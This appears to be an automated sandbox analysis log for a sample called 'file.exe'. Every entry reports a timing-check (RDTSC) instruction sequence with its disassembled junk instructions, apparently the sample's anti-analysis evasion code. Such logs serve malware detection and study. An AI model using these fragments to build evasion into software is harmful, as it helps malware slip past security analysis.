Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 854A08 second address: 854A0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 854EE7 second address: 854F46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d ja 00007F8A2D3CFEEBh 0x00000013 ja 00007F8A2D3CFED8h 0x00000019 popad 0x0000001a mov eax, dword ptr [eax] 0x0000001c push ebx 0x0000001d jmp 00007F8A2D3CFEE9h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 pushad 0x00000028 jc 00007F8A2D3CFED8h 0x0000002e push edi 0x0000002f pop edi 0x00000030 push eax 0x00000031 push edx 0x00000032 push edi 0x00000033 pop edi 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855173 second address: 855195 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ecx, 28946946h 0x0000000f push 00000004h 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8A2CE89C9Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855592 second address: 8555C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 push edi 0x00000007 pop edi 0x00000008 pop esi 0x00000009 popad 0x0000000a nop 0x0000000b or cl, 00000026h 0x0000000e push 0000001Eh 0x00000010 call 00007F8A2D3CFEE3h 0x00000015 mov edx, dword ptr [ebp+122D3AA7h] 0x0000001b pop edi 0x0000001c nop 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8555C2 second address: 8555CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8A2CE89C96h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8555CD second address: 8555DF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8A2D3CFED8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8555DF second address: 8555E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85571C second address: 855722 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855722 second address: 85572C instructions: 0x00000000 rdtsc 0x00000002 je 00007F8A2CE89C9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85572C second address: 85573E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8558E5 second address: 8558E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8558E9 second address: 8558EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8558EF second address: 855921 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8A2CE89C98h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push edi 0x0000000f jmp 00007F8A2CE89CA0h 0x00000014 pop edi 0x00000015 mov eax, dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 jbe 00007F8A2CE89C9Ch 0x0000001f jnp 00007F8A2CE89C96h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EDFA second address: 88EE11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8A2D3CFEE3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EE11 second address: 88EE39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8A2CE89CA5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jg 00007F8A2CE89C96h 0x00000012 pop ebx 0x00000013 pop eax 0x00000014 push ecx 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88F1A6 second address: 88F1AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 893D38 second address: 893D3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 893EA2 second address: 893EA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8941A1 second address: 8941BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2CE89CA2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8944BD second address: 8944C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F8A2D3CFED6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8944C9 second address: 8944CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8944CD second address: 8944D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81833E second address: 818344 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818344 second address: 81834A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81834A second address: 81834F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89EFA0 second address: 89EFCB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8A2D3CFED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d jc 00007F8A2D3CFED6h 0x00000013 jmp 00007F8A2D3CFEE7h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89EFCB second address: 89EFD5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8A2CE89C9Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89EFD5 second address: 89EFF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8A2D3CFEE5h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89F132 second address: 89F14D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8A2CE89CA7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89F14D second address: 89F152 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1EBC second address: 8A1EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8A2CE89CA7h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A2040 second address: 8A2046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A2046 second address: 8A204A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A204A second address: 8A205C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEDEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A88A8 second address: 8A88AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A88AC second address: 8A88B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A88B1 second address: 8A88BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8A2CE89C96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A88BD second address: 8A88C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A88C8 second address: 8A88CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A88CE second address: 8A88D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8CF0 second address: 8A8CF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8CF4 second address: 8A8D07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F8A2D3CFED6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8D07 second address: 8A8D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8D0F second address: 8A8D15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8E51 second address: 8A8E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F8A2CE89C9Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F8A2CE89C9Dh 0x00000015 push esi 0x00000016 pop esi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8553C4 second address: 855431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007F8A2D3CFED8h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 sub di, FA00h 0x00000026 mov edi, esi 0x00000028 mov ebx, dword ptr [ebp+12489397h] 0x0000002e push 00000000h 0x00000030 push ebx 0x00000031 call 00007F8A2D3CFED8h 0x00000036 pop ebx 0x00000037 mov dword ptr [esp+04h], ebx 0x0000003b add dword ptr [esp+04h], 00000014h 0x00000043 inc ebx 0x00000044 push ebx 0x00000045 ret 0x00000046 pop ebx 0x00000047 ret 0x00000048 sub ecx, dword ptr [ebp+122D3A17h] 0x0000004e add eax, ebx 0x00000050 pushad 0x00000051 sub dword ptr [ebp+122D3712h], eax 0x00000057 mov edi, 52AF3DCAh 0x0000005c popad 0x0000005d push eax 0x0000005e push edi 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9D62 second address: 8A9D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9D67 second address: 8A9DA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F8A2D3CFED6h 0x00000009 jmp 00007F8A2D3CFEE8h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F8A2D3CFEE8h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9DA8 second address: 8A9DBF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8A2CE89C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007F8A2CE89C9Ah 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AE0D1 second address: 8AE0E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8A2D3CFEDEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AE0E4 second address: 8AE104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8A2CE89C9Bh 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F8A2CE89C9Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AE104 second address: 8AE12E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8A2D3CFEE7h 0x00000010 push esi 0x00000011 jns 00007F8A2D3CFED6h 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AD85A second address: 8AD880 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F8A2CE89CA8h 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AD880 second address: 8AD884 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ADC64 second address: 8ADC71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F8A2CE89C96h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ADC71 second address: 8ADC87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B116E second address: 8B117C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8A2CE89C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B117C second address: 8B1187 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B1187 second address: 8B118D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0ECA second address: 8B0ECF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B794D second address: 8B7953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7953 second address: 8B795B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B795B second address: 8B796F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8A2CE89CA0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7CC9 second address: 8B7CDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8A2D3CFEDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7CDA second address: 8B7D13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 jmp 00007F8A2CE89CA7h 0x0000000d pop esi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8A2CE89CA2h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7D13 second address: 8B7D19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7D19 second address: 8B7D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7D1E second address: 8B7D24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7D24 second address: 8B7D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7D28 second address: 8B7D32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7D32 second address: 8B7D36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B82E5 second address: 8B82E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B82E9 second address: 8B830F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F8A2CE89CAEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B8C3E second address: 8B8C42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B8C42 second address: 8B8C51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F8A2CE89C96h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B8FB5 second address: 8B8FBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B8FBB second address: 8B8FF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F8A2CE89CA8h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8A2CE89CA6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B8FF0 second address: 8B900B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F8A2D3CFEE2h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B900B second address: 8B9011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD639 second address: 8BD63F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD63F second address: 8BD656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 pushad 0x00000009 jmp 00007F8A2CE89C9Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BC993 second address: 8BC997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BC997 second address: 8BC9B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2CE89C9Dh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnl 00007F8A2CE89C9Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCB0B second address: 8BCB0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCB0F second address: 8BCB25 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8A2CE89C96h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnc 00007F8A2CE89C9Eh 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCC2E second address: 8BCC3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push ecx 0x00000008 jl 00007F8A2D3CFED6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCC3E second address: 8BCC43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD0A6 second address: 8BD0BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB6C6 second address: 8CB6D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB6D1 second address: 8CB6E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jns 00007F8A2D3CFED6h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB6E2 second address: 8CB6E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA14A second address: 8CA14E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA14E second address: 8CA160 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F8A2CE89C9Ch 0x0000000c jg 00007F8A2CE89C96h 0x00000012 rdtsc
